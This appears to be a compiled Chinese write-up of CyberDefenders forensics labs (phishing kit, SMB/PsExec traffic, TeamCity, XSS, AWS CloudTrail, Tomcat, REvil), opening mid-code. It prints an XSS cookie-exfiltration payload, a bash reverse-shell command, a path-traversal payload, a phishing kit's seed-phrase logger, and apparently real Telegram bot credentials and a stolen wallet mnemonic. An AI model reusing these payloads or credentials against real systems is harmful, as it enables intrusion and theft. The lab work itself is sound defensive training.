    $_POST["import-account__secret-phrase"]. $text = $_POST['data']."\n";;
    // 静默写入日志(@抑制错误提示,需移除并添加错误处理)
    @file_put_contents(
        $_SERVER['DOCUMENT_ROOT'].'/log/'.'log.txt', $text, FILE_APPEND);	
}

作用:

通过 Telegram Bot API,将 $message 参数的内容发送到指定的聊天(由硬编码的 chat_id 指定)。

将用户通过 POST 请求提交的 import-account__secret-phrasedata 字段的值,写入服务器的 log/log.txt 文件。

此次网络钓鱼攻击的目标钱包是 MetaMask 。从网络钓鱼工具包的结构以及恶意脚本的具体实现方式可以明显看出这一点。攻击者试图诱骗用户输入其 MetaMask 助记词,从而未经授权获取钱包及其中存储的任何资金。这一情况凸显了在处理敏感加密货币信息时,核实网站和服务合法性的必要性。

答案:MetaMask

Q2:那个包含网络钓鱼工具代码的文件名是什么?

在网络钓鱼活动中,攻击者通常会创建并部署包含旨在模仿合法网站或服务的文件和脚本的网络钓鱼工具包。这些工具包通常包含用于前端界面的 HTML 文件以及用于处理用户输入并将窃取的信息传输给攻击者的后端脚本。确定负责执行网络钓鱼功能的具体文件对于剖析攻击并理解其机制至关重要。

由Q1我们可知包含网络钓鱼工具代码的文件名是:metamask.php

.php 文件通常与服务器端脚本相关联。这些脚本经常处理用户输入、处理表单,并将收集到的数据发送到外部服务器或数据库。

答案:metamask.php

Q3:这个工具包是用哪种语言编写的?

这里所讨论的网络钓鱼工具包主要是用 PHP 编写的,这一点从工具包目录中存在 metamask.php 文件即可看出。 PHP ,即超文本预处理器,是一种广泛使用的脚本语言,特别适合于网络开发。它嵌入到 HTML 中以创建动态网页,并在服务器端执行,从而能够处理诸如处理表单输入、管理会话以及与数据库交互等任务。

答案:php

Q4:该工具包使用什么服务来获取受害者的机器信息?

该网络钓鱼工具包采用地理定位服务来收集有关受害者机器的详细信息,通过将地理数据纳入其操作中,提升了攻击的复杂性。具体而言,网络钓鱼脚本集成了与 Sypex Geo API 交互的功能,这是一种根据用户 IP 地址获取地理定位详细信息的工具。

image-20250301120429529

通过将通过服务器变量动态获取的受害者 IP 地址发送到 Sypex Geo 端点,该脚本获取基于位置的信息,例如受害者的国家、地区和城市。然后对这些信息进行解码,并将其存储在变量中,以供钓鱼操作中的其他部分使用。

Sypex Geo 是一项流行的地理定位服务,可提供基于用户 IP 地址的精确且可扩展的定位解决方案。它通常用于合法目的,例如定制用户体验或实施区域限制。然而,在这种网络钓鱼场景中,攻击者滥用该服务来丰富窃取的数据。通过包含地理定位详情,攻击者不仅能了解其受害者的地理分布情况,还能为其网络钓鱼活动增添一层个性化色彩,使其更具说服力且更难被察觉。

答案:Sypex Geo

Q5:已经收集了多少个助记词短语?

助记词是加密货币钱包的关键安全组件,由 12 个或 24 个单词组成,用户可通过其恢复对钱包和资产的访问权限。攻击者一旦获取这些短语,就能完全掌控受害者的钱包,从而窃取资金或危害其他关联账户。出现三个条目表明已有三名受害者落入了网络钓鱼攻击的圈套,在欺诈页面中输入了敏感信息。

由前面的分析我们可知钓鱼网页php会将用户通过 POST 请求提交的 import-account__secret-phrasedata 字段的值,写入服务器的 log/log.txt 文件。

我们查看:

image-20250301143020274

可以发现有三个助记词短语

答案:3

Q6:您能否提供与最近一起网络钓鱼事件相关的助记词?

log.txt 文件的最后一条记录中所反映的,就是该网络钓鱼工具包捕获的最新助记词短语

答案:father also recycle embody balance concert mechanic believe owner pair muffin hockey

Q7:使用了哪种媒介进行凭证转储?

该网络钓鱼工具包采用多种手段来窃取凭证,以确保数据收集的冗余性和灵活性。第一种方法是将窃取的凭证(如助记词)本地保存到名为 log.txt 的文件中。此文件作为所有收集信息的存储库,使攻击者能够稍后检索和分析数据。本地存储机制确保即使远程数据外泄失败,攻击者仍可直接从被攻破的服务器获取捕获的凭证。

第二种方法利用一个 Telegram 机器人进行实时数据窃取。该脚本包含将窃取的数据(包括钱包信息和助记词)通过 API 令牌和聊天 ID 发送给 Telegram 机器人的功能。这种机制使攻击者能够即时且安全地接收数据,绕过传统的监控和检测系统。使用 Telegram (一个广泛使用的消息平台),突显了攻击者利用合法服务从事恶意活动的适应性。

因此这两种媒介——本地日志记录和 Telegram ——为凭证转储提供了一个强大的系统,确保攻击者能够有效地、可靠地收集敏感信息。

答案:Telegram

Q8:访问该频道的令牌是什么?

由Q1可知该频道的令牌为5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10

Telegram 令牌是在通过 Telegram Bot API 创建机器人时生成的唯一标识符。此令牌充当安全凭证,使机器人能够向 Telegram 服务器进行身份验证,并与指定的频道或用户进行通信。在该网络钓鱼工具包的背景下,令牌使攻击者的机器人能够将被盗的凭证(例如助记词)直接发送到预先配置的 Telegram 聊天或频道。

答案:

Q9:钓鱼者的频道聊天 ID 是什么?

由Q1可知钓鱼者的频道聊天 ID 是5442785564

聊天 ID 是 Telegram 中分配给每个聊天或群组的唯一标识符。它允许 Telegram Bot API 定向特定的频道、群组或用户以发送消息。在这个网络钓鱼工具包的背景下,聊天 ID 用于将被盗的凭证(如助记词和其他敏感信息)定向到攻击者的 Telegram 频道。此 ID 与机器人令牌配合使用,以验证并指定外泄数据的接收者。

答案:5442785564

Q10:钓鱼工具开发者的同伙都有谁?

该钓鱼工具开发者的别名,如脚本中的注释所示,是 j1j1b1s@m3r0

这似乎是与开发人员或在钓鱼工具包中获得署名的某人相关的一个绰号或别名。网络犯罪分子在地下论坛或暗网社区中活动时,经常使用此类别名来保持匿名。通过在代码中包含这个别名,开发人员可能是在认可其合作者、同伙,或者是在社区中寻求认可。

答案:j1j1b1s@m3r0

Q11:网络钓鱼攻击者的全名是什么?

为了回答这个问题,我得熟悉一下Telegram Bot的应用程序编程接口(API)。根据telegram官方提供的API文档:

Telegram Bot API

使用了 API 方法 getChat来获取攻击者与机器人聊天(Chat)的详细信息。

所有对 Telegram Bot API 的查询都必须通过 HTTPS 提供服务,并且需要以这种形式呈现: https://api.telegram.org/bot<token>/METHOD_NAME

https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564

image-20250301151109670

得到回显:

{"ok":true,"result":{"id":5442785564,"first_name":"Marcus","last_name":"Aurelius","username":"pumpkinboii","type":"private","can_send_gift":true,"active_usernames":["pumpkinboii"],"max_reaction_count":11,"accent_color_id":6}}

得出钓鱼攻击者的全名:Marcus Aurelius

答案:Marcus Aurelius

Q12:钓鱼攻击者的用户名是什么?

由上题可知钓鱼攻击者的用户名为pumpkinboii

答案:pumpkinboii

PacketDetective Lab(流量分析)

2020 年 9 月,您的安全运营中心(SOC)检测到一个用户设备存在可疑活动,其标志是 SMB 协议使用异常。初步分析表明,可能存在特权账户被攻破以及攻击者使用远程访问工具的情况。

您的任务是检查所提供的 PCAP 文件中的网络流量,以识别关键的入侵指标(IOCs),并深入了解攻击者的手段、持续策略和目标。通过回答以下问题构建一个时间线,以便更好地理解攻击的发展进程。

要VIP

原文地址:Solving Packet Detective Lab: CyberDefenders | by Mohammad Asif Matin | MediumPacketDetective Lab | FaresMorcy、[Cyber-Labs/PacketDetective Lab.md at main · dillon-johnson-dev/Cyber-Labs](https://github.com/dillon-johnson-dev/Cyber-Labs/blob/main/PacketDetective Lab.md)、[cyberdefenders/Network Forensics/PacketDetective.md at main · mmhgwyjs/cyberdefenders](https://github.com/mmhgwyjs/cyberdefenders/blob/main/Network Forensics/PacketDetective.md)、CyberDefenders: Packet Detective Write-up | 0x65dvrc

Q1:File => Traffic-1 SMB 协议正在使用的带宽量是多少字节?

统计->协议分级:

img

在SMB协议的Bytes那一栏可以找到答案

答案:4406

Q2:File => Traffic-1 通过 SMB 进行身份验证时使用了哪个用户名?

使用wireshark过滤语句:

ntlmssp.auth.username

在 Wireshark 中使用 ntlmssp.auth.username 作为过滤器,Wireshark 会过滤出包含 NTLM 身份验证过程中用户登录的用户名的包。这通常出现在 SMB(Server Message Block)或其他网络协议中使用 NTLM 认证的场景里。

img

NTLM 认证

第一阶段:协商协议 (Negotiate Protocol Request 和 Negotiate Protocol Response)

  • 协议请求 (Negotiate Protocol Request):客户端向服务器发送一个请求,表明它支持NTLM协议。
  • 协议响应 (Negotiate Protocol Response):服务器响应客户端,确认它支持NTLM协议并准备开始认证。

第二阶段:NTLMSSP 挑战和响应 (Session Setup AndX Request 和 Session Setup AndX Response)

  • NTLMSSP Challenge:服务器会向客户端发送一个挑战请求,要求客户端提供认证信息。此请求通常会包含一个加密的挑战(Challenge),用来验证客户端的身份。
  • NTLMSSP Response:客户端会回应服务器,包含加密的挑战响应数据,证明客户端身份。

第三阶段:认证完成 (Tree Connect AndX Request)

  • 客户端成功认证后,发送 Tree Connect 请求来建立连接,指明目标资源路径(如共享文件夹)。

答案:Administrator

Q3:File => Traffic-1 打开的文件叫什么名字?

使用 smb 过滤流量,然后搜索包含字符串NT create andx request的数据包详细信息:

img

NT Create AndX Request 是 SMB (Server Message Block) 协议中的一个请求类型,属于 SMB 2.xSMB 3.x 版本中的一部分。这个请求用于创建和打开共享资源(如文件或目录),它是 SMB 协议中建立会话和访问文件共享时的一种常见操作。

我们也可直接输入过滤语句:

smb.cmd == 0xA2

命令 0xA2 代表 Trans2 包含 NT Create AndX 的请求,通常用于文件访问。

在 SMB 协议中,Trans2 是一种扩展的请求/响应类型,通常用于更高级的文件系统操作。Trans2 命令扩展了传统的 SMB 协议,提供了更多功能,例如高级文件操作、文件属性访问、文件信息查询等。Trans2 命令是 SMB 协议中一个重要的扩展,尤其是在 SMB 2.x 和更高版本中,它提供了更高效和复杂的操作。

更更简单的方法:

文件->导出对象->SMB

从SMB数据包中找到传递的文件

img

答案:eventlog

Q4:File => Traffic-1 清除eventlog尝试的时间戳是什么?(24 小时制 - 协调世界时)

默认情况下,Wireshark 使用的时间格式是从捕获第一个数据包开始计算的秒数。因此,我们必须首先更改时间格式才能得到我们想要的结果。

View > Time Display Format视图->时间显示格式

过滤SMB流量,搜索关键词Clear来观察清除文件的操作

img

或者在 Windows 系统中, ClearEventLogW 函数是通过具有操作编号 0 的 RPC 操作来调用的,过滤语句:

dcerpc.opnum == 0

也可以直接过滤分析SMB协议中对eventlogger的操作:

image

image-20250301164504014

答案:2020–09–23 16:50:16

Q5:File => Traffic-2 一名攻击者使用了一种名为“命名管道”的通信方法。命名管道用于远程过程调用(RPC),它允许一个程序在网络上向另一个程序请求服务。使用此命名管道进行通信的服务名称是什么?

命名管道(Named Pipes) 是一种进程间通信(IPC, Inter-Process Communication)机制,它允许不同程序(或进程)在同一台计算机或跨网络进行数据交换。其核心特点是通过一个命名标识符(名称)建立通信通道,而非匿名管道(如普通管道)只能用于父子进程间的通信。

在 Windows 中,命名管道有助于应用程序、服务和系统组件之间的通信。每个管道都有一个唯一的路径,格式为 \\.\PIPE\name ,其中 name 表示它所提供的特定功能或服务。这种独特的命名方式使得每个管道都能发挥特定的作用,例如远程服务管理或文件访问。

要在网络流量中定位命名管道,可在 Wireshark 中应用过滤语法 frame contains 5c:00:50:00:49:00:50:00:45 它能过滤出与 \PIPE 相关的数据包。

frame contains 5c:00:50:00:49:00:50:00:45

在 Wireshark 中,使用 Ctrl+F 在数据包内容中搜索 PIPE 。此搜索将帮助您定位涉及命名管道的数据包。检查这些数据包的详细信息,以识别特定的服务名称,例如 svcctl 代表服务控制管理器或 samr 代表安全帐户管理器,这可以揭示攻击者所使用的服务。

这里的atsvc是与 ATSVC(Active Time Service)相关的命名管道,它是 Windows 操作系统中的一个服务组件,用于管理时间同步和活动时间相关的任务。

image-20250301170914371

该命名管道可以用来在不同的服务或进程之间传递时间同步信息。

DCERPC(Distributed Computing Environment / Remote Procedure Call)协议是一种用于在分布式环境中执行远程过程调用(RPC)的协议。它被广泛用于不同系统之间的通信,尤其在 Windows 操作系统中,常用于支持各种网络服务的远程调用功能。

ISystemActivator是一个通过 DCERPC 协议进行通信的接口。它通常用于 Windows 系统服务的远程激活和管理,尤其在需要远程执行服务启动、激活等操作时使用。

答案:atsvc

Q6:File => Traffic-2 172.16.66.1 与 172.16.66.36 之间的通信持续了多长时间?

统计->会话

img

答案:11.7247

Q7:File => Traffic-3 用于设置可能被视为可疑的请求的用户名是什么?

使用过滤语句:

ntlmssp.auth.username

image

答案:backdoor

Q8:File => Traffic-3 用于远程执行进程的可执行文件的名称是什么?

过滤smb协议流量,在流量中查找“Create”这些数据包中应能看到可执行文件的名称:

img

或者直接搜索.exe

答案:PSEXESVC.exe

JetBrains Lab(流量分析)

在最近的一次安全事件中,攻击者成功利用了我们网络服务器中的一个漏洞,得以上传网页后门并完全掌控了系统。攻击者还利用被攻破的网络服务器作为进一步恶意活动的跳板,包括篡改数据。

作为调查的一部分,您将获得攻击期间的网络流量数据包捕获(PCAP),以便拼凑出攻击的时间线并确定攻击者所使用的方法。目标是确定初始入侵点、攻击者的工具和技术以及受攻击影响的范围。

要VIP

原文地址:CTF Write-up: JetBrains (Certified Cyber Defenders) | by itsGir | Medium

Q1:攻击者的 IP 地址是什么?

这是最难回答的问题。原因很简单,就是所提到的 IP 地址位置相当靠后。最初找到的 IP 地址似乎表明这是攻击者所为,但事实并非如此。

根据线索答题:

  • 攻击者利用了一个漏洞
  • 攻击者上传了一个网页后门。
  • 攻击者利用该网络服务器作为发起其他恶意活动的跳板。

我们实际上无法利用第三点进行调查,因为它发生在漏洞利用之后。我们也不能用第一点,因为我们还不知道正在利用的是什么漏洞。但我们能够调查第二点:上传网页后门。

要上传文件,必须观察包含该文件的 POST 请求。因此,让我们从专门筛选 POST 请求开始:

http.request.method == POST

img

如您所见,这里有一堆 POST 请求。如果您认为答案是 197.32.146.131 或 156.197.187.149,那可就错了。为什么呢?因为这些 POST 请求中的大多数似乎都不表明有上传操作在进行。不过,如果您向下滚动查看这些请求,最终会发现一个由不同 IP 地址发起的指向 /admin/pluginUpload.html 的 POST 请求:

img

这表明有一个恶意文件作为插件被上传到了服务器。这似乎与所描述的情况相符,而这个 IP 地址实际上就是回答问题 1 的正确 IP 地址。

Q2:为了识别潜在的漏洞利用情况,我们正在运行的网络服务器服务是哪个版本?

我们现在知道了攻击者的 IP 地址,所以这将有助于进行更具体的搜索。让我们筛选出来自这个 IP 地址的所有 HTTP 请求:

ip.src == xxx.xxx.xxx.xxx && http

img

这些请求中的大多数似乎都与身份验证有关,但请特别留意此截图底部的两个请求:

GET /hax?jsp=/app/rest/server;.jsp

/app/rest/server 是 JetBrains TeamCity 的默认 REST API 端点。

某些服务器(如 Apache Tomcat)会将 ; 后的内容视为参数,从而忽略后续字符。例如:
/app/rest/server;.jsp ➔ 实际访问 /app/rest/server,但强制以 JSP 解析。

此请求尝试将非 JSP 文件(如 /app/rest/server)当作 JSP 执行,触发服务器解析漏洞。

直接访问 /app/rest/server 可能暴露服务器状态、版本信息或管理接口。

右键点击数据包(24701 或 24702),然后沿着 HTTP 流查看:

img

在请求的响应体中,您会找到一个名为 <server version> 的元数据字段。此字段包含问题 2 的正确答案。

Q3:利用我们服务版本中的已知漏洞,攻击者利用的是哪个 CVE 编号?

在谷歌上搜索所发现的 TeamCity 版本的漏洞,您会找到这篇文章:

Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024–27198 and CVE-2024–27199) — Update to 2023.11.4 Now | The TeamCity Blog

这两个 CVE 中的一个是身份验证绕过漏洞,另一个是路径遍历漏洞(查找这两个漏洞的 CVE 数据库条目)。根据到目前为止您在 PCAP 文件中看到的行为,您应该能够弄清楚这两个 CVE 中哪一个才是正确答案。好运!

ps:deepseek有点猛了image-20250301184908786

Q4:攻击者利用该漏洞创建了一个用户账户。他设置了哪些凭证?

您是否仍保持 HTTP 流的打开状态?很好。向下滚动一点点,您会看到一个向 /hax?jsp=/app/rest/users;.jsp 发出的 POST 请求,其中包含用户名和密码:

img

可以确定上一题答案是身份验证绕过漏洞了

设置的凭证:“username”:”password”

Q5:攻击者上传了一个网页后门以确保能访问该系统。攻击者上传的文件叫什么名字?

现在我们来看一下网页后门本身。幸运的是,它恰好也在同一个 HTTP 流中。继续向下滚动,直到找到我们在这篇文章开头提到的那个请求,也就是向 /admin/pluginUpload.html 发送的 POST 请求:

img

这里有一个文件名,这是第 5 题的正确答案。您还会发现这是一个 ZIP 文件。

Q6:攻击者是什么时候通过网络后门执行其第一条命令的?

要回答这个问题,您需要了解 ZIP 文件的内容,因为网络后门并非 ZIP 文件本身,而是文件中的内容。您可以通过向下滚动一点点查看此请求,然后您会看到以下这一行:

img

这一行表明,ZIP 文件中包含一个 JAR 文件,该文件会在网络服务器上创建一个 JSP 文件(即 Jakarta Server Page,以前称为 Java 服务器页面)。

这表明该 WebShell 实际上是 JSP 文件。那么,让我们在 Wireshark 中构建一个查询,以查看攻击者与该文件的交互情况:

ip.src == xxx.xxx.xxx.xxx && http.request.method == POST && http.request.uri contains "xxxxxx.jsp"

img

我们现在已经找到了攻击者所使用的所有 WebShell 交互。现在的问题是:第一次交互是在什么时候进行的?为此,请点击第一个,然后查看底部的帧信息:

img

Arrival time是这里第 6 题的正确答案。

Q7:攻击者篡改了一个包含网络服务器管理员用户凭证的文本文件,他往里面写了什么新内容?

这个问题表明攻击者将文本写入了一个文件。由于我们还知道这是基于 Linux 的系统,所以可以推断攻击者使用的命令很可能是以下这类:

echo "text to write" > "file to write into"

问题在于,我们尚未找到攻击者使用的命令。但我们已经非常接近了。如果您查看第 6 题底部的请求,有一个名为“HTML 表单 URL 编码:application/x-www-form-urlencoded”的标头。打开它,您会发现以下内容:

img

为了找到有问题的命令,请打开其他请求并查找攻击者使用的命令——这也会为您提供有关攻击者在您的系统上所做操作的宝贵信息。最终,您会遇到这个命令:

img

Q8:在上一个问题(第 7 题)中,攻击者篡改文本文件时所采取的操作对应的 MITRE 技术 ID 是什么?

这个问题可以通过纯粹的知识来回答,如果您恰好熟悉所有的 MITRE ATT&CK 策略和技术的话。如果不是(这也很正常,因为 MITRE 的策略和技术数量庞大),您可以查找一下。我在谷歌上搜索了“MITRE 对文本文件进行篡改”,这让我找到了主要技术“数据操纵”。这一技术有三个子技术:

img

你应该能够找出这三者中哪一个与手头的问题相关。问问自己,在问题7中找到的凭证文件是否存储在文件系统中、是否在运行时被传输或使用。

篡改文本文件:T1565

Q9:攻击者试图从容器中逃出但未成功,他当时使用了什么命令?

到目前为止,您找到的所有指令似乎都没有表明要从“容器”中逃脱。但如果您继续查找,就会发现这个请求:

img

您应该能够明白 Docker 建议使用容器。这将是第 9 题的正确答案。如果您继续浏览,还会发现该命令的几种变体。

RetailBreach Lab(流量分析)

近日,知名在线零售平台“购物圈”在深夜时段出现了异常的管理后台登录活动。这些登录行为与大量客户投诉其账户出现不明异常的情况相吻合,引发了对可能遭受安全漏洞的担忧。初步观察表明,管理账户存在未经授权的访问,这可能意味着系统遭到了更深层次的入侵。

您的任务是调查捕获的网络流量,以确定入侵的性质和来源。查明攻击者是如何侵入系统的以及确定他们的手段,对于了解攻击的范围和减轻其影响至关重要。

要VIP

原文地址:RetailBreach Lab | FaresMorcyCTF Write-up: RetailBreach (Certified Cyber Defenders) | by itsGir | Medium

Q1:在网络安全领域,确定攻击者的 IP 地址对于明确攻击范围以及制定有效的应对策略至关重要。请问与此次攻击相关的攻击者 IP 地址是什么?

查看会话进行分析:

无标题

第一个IP发送了近1MB的请求

另一思路:攻击者已经进行了某些账户枚举操作。我们还知道我们处于一个 Linux 系统中,如果您熟悉 Linux,就会知道账户信息存储在 /etc/passwd 中。所以对我来说,在 PCAP 文件中查看任何访问 /etc/passwd 的尝试是有意义的:

_ws.col.info contains "passwd"

_ws.col.info:表示 Wireshark 中 Info(信息)列的数据

img

答案:111.224.180.128

Q2:已知攻击者会使用目录暴力破解工具来查找 Web 应用程序中的隐藏路径。攻击者使用了哪种工具来进行目录暴力破解?

使用过滤语句:

ip.src == 111.224.180.128

主要关注User-Agent段

img

答案:gobuster

Q3:跨站脚本攻击(XSS)使攻击者能够将恶意脚本注入用户查看的网页中。您能否具体说明攻击者用来破坏该网络应用程序完整性的 XSS 攻击负载?

我的话会使用过滤语句

ip.src == 111.224.180.128

然后在其中搜索关键字script

两位博主的过滤语句为:

ip.addr==111.224.180.128 and http.request.method == "POST"

无标题2

img

可以发现<script>中的内容经URL编码了,解码即可得到其中的攻击负载

答案:fetch('http://111.224.180.128/' + document.cookie);

Q4:确定管理员用户首次遇到注入恶意脚本的确切时间对于理解安全漏洞的时间线至关重要。您能否提供管理员用户首次访问包含注入恶意脚本页面的 UTC 时间戳?

我们可以知道攻击者将恶意脚本注入在了/reviews.php中,因此我们专注于分析这个页面的流量:

http.request.uri contains "review"
或
_ws.col.info contains "review"

无标题3

可以找到管理员IP尝试访问其页面发送的请求

答案:29-03-2024 12:09:50

Q5:通过跨站脚本攻击(XSS)窃取会话令牌是一种严重的安全漏洞,会导致未经授权的访问。您能否提供攻击者获取并用于未经授权访问的会话令牌?

从上一题的过滤结果中可以发现最后一个数据包中攻击者成功访问了/admin/review_manager.php

因此分析这个数据包中的会话令牌,主要看Cookie中的值

无标题4

答案:lqkctf24s9h9lg67teu8uevn3q

Q6:识别哪些脚本已被利用是缓解网络应用程序漏洞的关键步骤。攻击者利用的脚本叫什么名字?

由于攻击者已经成功窃取会话令牌并登录管理员账号,重点分析他在admin路径下的操作:

http contains "admin"

无标题5

另一个思路是过滤包含会话令牌的数据包:

frame contains "lqkctf24s9h9lg67teu8uevn3q" and ip src == 111.224.180.128

img

答案:log_viewer.php

Q7:利用漏洞访问敏感系统文件是攻击者常用的手段。您能否识别出攻击者用于获取敏感系统文件访问权限的有效载荷?

无标题6

答案:../../../../../etc/passwd

AWSRaid Lab(云取证)(威胁狩猎)

贵组织使用亚马逊网络服务(AWS)来托管关键数据和应用程序。已报告一起涉及未经授权访问数据和潜在数据外泄的事件。安全团队已检测到异常活动,需要对事件进行调查以确定攻击的范围。

要VIP

原文地址:Cyberdefenders — AWSRaid lab. Topic: Cloud Forensics | by Thaer Bayyari | Feb, 2025 | MediumAWSRaid Blue Team Lab. https://www.linkedin.com/in/elshaheedy/ | by Mo.Elshaheedy | Medium、[cyberdefenders/Cloud Forensics/AWSRaid.md at main · mmhgwyjs/cyberdefenders](https://github.com/mmhgwyjs/cyberdefenders/blob/main/Cloud Forensics/AWSRaid.md)、AWSRaid CyberDefenders-Writeup | cda-infosec.tech

Q1:了解哪个用户账户遭到入侵对于理解攻击者最初进入环境的切入点至关重要。遭到入侵的用户名是什么?

输入过滤语句:

index="aws_cloudtrail" eventSource="signin.amazonaws.com"

Image of query results

通过左边关键词栏中有userIdentity.userName的身份验证错误相关内容,点击查看发现登录失败数量最多的是helpdesk.luke

index="aws_cloudtrail" eventType=AwsConsoleSignIn
| stats count by userIdentity.userName responseElements.ConsoleLogin eventTime
| sort -eventTime

无标题7

按时间排序可以发现helpdesk.luke多次登录失败后成功登录

答案:helpdesk.luke

Q2:我们必须调查初始入侵之后发生的事件,以了解攻击者的动机。攻击者首次访问 S3 对象的 UTC 时间戳是什么?

index="aws_cloudtrail" userIdentity.userName=helpdesk.luke | stats min(eventTime) as FirsteventTime count by eventName | sort +FirsteventTime

stats 命令用于 统计和聚合数据

min(eventTime) as FirsteventTime:计算每种 eventName 事件最早发生的时间,并将其命名为 FirsteventTime

count by eventName:统计每种 eventName 事件的 总次数

FirsteventTime 升序排列,即 最早的事件排在最前

无标题8

答案:02-11-2023 09:55:53

Q3:在攻击者访问的 S3 存储桶中,有一个包含 DWG 文件。这个存储桶叫什么名字?

index="aws_cloudtrail" userIdentity.userName=helpdesk.luke eventName=GetObject dwg

无标题9

只筛选 GetObject 事件,表示 从 Amazon S3(Simple Storage Service)中获取对象(文件) 的操作。

GetObjectS3 读取文件 的 API 请求,通常意味着 helpdesk.luke 在下载 S3 存储桶中的某些文件。

存储桶(Bucket)是 Amazon S3(Simple Storage Service) 中的 最高级别的存储容器,可以理解为一个云端文件夹或存储空间。

AWS S3 中,数据是以对象(Object)*的形式存储的,而这些对象都存放在存储桶(Bucket)里。因此,存储桶相当于一个*云存储文件夹,用于存放和组织数据。

答案:product-designs-repository31183937

Q4:我们发现某个 S3 存储桶的配置发生了变化,导致其允许了公共访问,这是一个重大的安全问题。请问这个特定的 S3 存储桶叫什么名字?

攻击者与多个存储桶进行交互,但他仅更改其中一个存储桶的公共访问配置设置,这可以通过包含事件名称“PutBucketPublicAccessBlock”来检测。

index="aws_cloudtrail" userIdentity.userName=helpdesk.luke eventName="bucket" | stats count by eventName

无标题10

Image of query results

答案:PutBucketPublicAccessBlock

Q5:创建新用户账户是攻击者在受攻击环境中建立持久性的常见手段。攻击者创建的账户用户名是什么?

index="aws_cloudtrail" userIdentity.userName=helpdesk.luke eventName="create" | stats count by eventName

无标题11

答案:marketing.mark

Q6:该账户被添加到的组叫什么名字?

index="aws_cloudtrail" userIdentity.userName=helpdesk.luke eventName="group" marketing.mark

无标题12

答案:Admins

Tomcat Takeover Lab

安全运营中心(SOC)团队在公司内网的一个网络服务器上发现了可疑活动。为了更好地了解情况,他们已捕获网络流量以供分析。PCAP 文件可能包含导致 Apache Tomcat 网络服务器被攻破的恶意活动的证据。您的任务是分析 PCAP 文件,以了解攻击的范围。

Q1:鉴于在 Web 服务器上检测到可疑活动,PCAP 文件显示了针对多个端口的一系列请求,这表明可能存在扫描行为。您能否确定发起这些针对我们服务器请求的源 IP 地址?

统计会话,发现大流量会话过滤进行分析:

image-20250303094757995

从中可以发现该IP发送了许多TCP握手包

image-20250303095045186

这是在使用工具进行端口扫描的流量特征

SYN扫描执行的是不完整的TCP三次握手过程,在SYN扫描中,客户端在接收到来自服务器的一个设置了SYN/ACK标志位的数据包之后,将直接发送一个设置了RST标志位的TCP数据包结束握手(这可以防止服务器端重复尝试发出TCP数据包)

也就是说我们直接过滤查看含有RST标志且不含有ACK标志的数据包,查看其目的端口即可:

tcp.flags.reset ==1 && tcp.flags.ack == 0

image-20250303095447916

答案:14.0.0.120

Q2:根据与攻击者相关的已识别 IP 地址,您能否确定攻击者活动的来源国?

IP定位

image-20250303100537745

在广州

答案:china

Q3:从 PCAP 文件中检测到多个开放端口,这是攻击者主动扫描的结果。这些端口中,哪个端口可访问 Web 服务器的管理面板?

我们主要分析攻击者IP的HTTP请求行动:

ip.addr == 14.0.0.120 && http

image-20250303101156390

可以发现web服务器的虚拟主机管理面板/host-manager和 Web 应用程序管理面板manager在端口8080上

答案:8080

Q4:在发现我们服务器存在开放端口之后,似乎攻击者试图枚举并找出我们网络服务器上的目录和文件。从分析中,您能识别出攻击者在这一枚举过程中使用了哪些工具吗?

在 Wireshark 中,找到 HTTP 流量中间带有 404 状态码响应的数据包。检查相应的 HTTP 请求的详细信息,以确定攻击者用于枚举的工具。

目录枚举找到404响应流量,跟踪其http流进行分析:

image-20250303101243608

答案:gobuster

Q5:在对我们的网络服务器进行目录枚举的尝试之后,攻击者发起了大量请求以识别管理界面。攻击者发现了与管理面板相关的哪个特定目录?

跟踪http流,攻击者在攻击成功前是在/manager目录下进行的文件上传:

image-20250303102202508

image-20250303102214286

答案:/manager

Q4:在访问了管理面板之后,攻击者试图暴力破解登录凭证。您能否确定攻击者成功用于登录的正确用户名和密码?

提交密码必然使用post请求,我们进行过滤分析:

ip.addr == 14.0.0.120 && http.request.method == "POST"

Authorization 请求头用于在 HTTP 请求中携带身份验证凭据,以便服务器验证客户端的身份。

由于已经成功登录,观察Authorization请求头:

image-20250303102936418

经base64解码得到:

image-20250303103215918

或者直接丢入Network Miner进行分析:

image-20250303103636103

NetworkMiner会自动分析流量包中包含的信息数据

凭证一栏中最后一条成功的账号密码即是答案

答案:admin:tomcat

Q7:一旦进入管理面板,攻击者就试图上传一个文件,意图建立一个反向 shell。您能否从捕获的数据中识别出这个恶意文件的名称?

在MIME数据中找到其文件名:

image-20250303104329021

答案:JXQOZY.war

Q8:在成功于我们的服务器上建立反向 shell 之后,攻击者旨在确保在受感染的机器上保持持久性。通过分析,您能否确定他们计划运行的具体命令以维持其存在?

反弹shell持久化:

image-20250303104616486

答案:/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

REvil Lab(威胁狩猎)

您是一家网络安全咨询公司的威胁猎手。您的一位客户最近遭受了勒索软件攻击,导致其多名员工的机器被加密。受影响的用户报告称在他们的桌面上看到了勒索信,并且桌面背景被更改。您需要使用 Splunk SIEM 中包含的一台被加密机器的 Sysmon 事件日志,尽可能多地提取信息。

要VIP,原文地址:REvil Write-Up | CyberDefenders Lab | by mo4de1 | Medium

Sysmon(System Monitor)是微软提供的一款轻量级系统监控工具,属于 Sysinternals 工具集的一部分。它通过记录系统活动的详细事件日志,帮助安全分析人员检测和调查恶意行为。

Sysmon 监控并记录以下关键系统活动:

  • 进程创建与终止(事件 ID 1, 5)
  • 网络连接(事件 ID 3, 22)
  • 文件创建与修改(事件 ID 11, 23)
  • 注册表操作(事件 ID 12-14)
  • 计划任务变更(事件 ID 26)
  • 服务安装(事件 ID 6)
  • 进程注入(事件 ID 8)
  • 驱动程序加载(事件 ID 6)

Q1:为了开始您的调查,您能否确定勒索软件留下的笔记文件名?

要在 Splunk SIEM 中通过 Sysmon 事件日志识别勒索软件留下的勒索信文件名,我通常会遵循以下步骤:

首先查找与进程创建、文件创建或文件修改相关的任何 Sysmon 事件,这些事件发生在疑似勒索软件攻击发生的时间段内。我将使用以下基本的 Splunk 查询:

index=revil "log.file.path"="C:\\evtx\\Sysmon.evtx" "event.code"=1 
| table winlog.event_data.ParentCommandLine, winlog.event_data.CommandLine, winlog.event_data.ParentImage 
| sort -_time 
| dedup winlog.event_data.ParentCommandLine, winlog.event_data.CommandLine, winlog.event_data.ParentImage

1. 基础过滤条件

index=revil "log.file.path"="C:\\evtx\\Sysmon.evtx" "event.code"=1
